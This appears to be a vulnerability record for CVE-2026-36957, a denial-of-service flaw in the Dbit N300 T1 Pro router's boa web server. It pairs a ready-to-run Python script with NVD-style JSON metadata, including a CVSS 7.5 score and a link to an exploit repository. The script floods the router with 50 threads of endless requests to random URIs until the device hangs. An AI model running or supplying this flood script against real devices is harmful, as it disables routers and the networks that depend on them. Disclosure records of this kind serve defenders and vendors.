CVE-2026-36957

import requests import threading import random # Target configuration target_ip = "192.168.0.1" # Replace with the router's IP address base_url = f"http://{target_ip}/" num_threads = 50 def send_flood(): """Function to send requests to non-existent URIs""" while True: # Generate a random non-existent URI path random_uri = base_url + str(random.randint(100000, 999999)) try: # Send GET request without waiting for response requests.get(random_uri, timeout=0.5) except Exception: # Ignore connection errors or timeouts to keep flooding pass if __name__ == "__main__": print(f"Starting DoS flood against {target_ip}...") # Create multiple threads to simulate high-volume traffic threads = [] for _ in range(num_threads): t = threading.Thread(target=send_flood) t.daemon = True t.start() threads.append(t) # Keep the main script running for t in threads: t.join()

{"cve": {"id": "CVE-2026-36957", "sourceIdentifier": "[email protected]", "published": "2026-04-30T15:16:22.857", "lastModified": "2026-05-05T02:59:13.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router V1.0.0 is vulnerable to Denial of Service via the boa web server URI handler. By initiating a high-volume flood of HTTP GET requests to non-existent URIs, an attacker can exhaust critical system resources, including file descriptors and memory buffers. This results in a kernel deadlock or system hang that disables the web management portal and all routing capabilities."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbitnet:dbit_n300_t1_pro_firmware:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "70807383-E273-452F-A0B0-7D2A43E2DF3F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbitnet:dbit_n300_t1_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "D4C110AA-5B09-44F5-A5EF-D284A721E4F1"}]}]}], "references": [{"url": "http://dbit.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36957", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36957", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}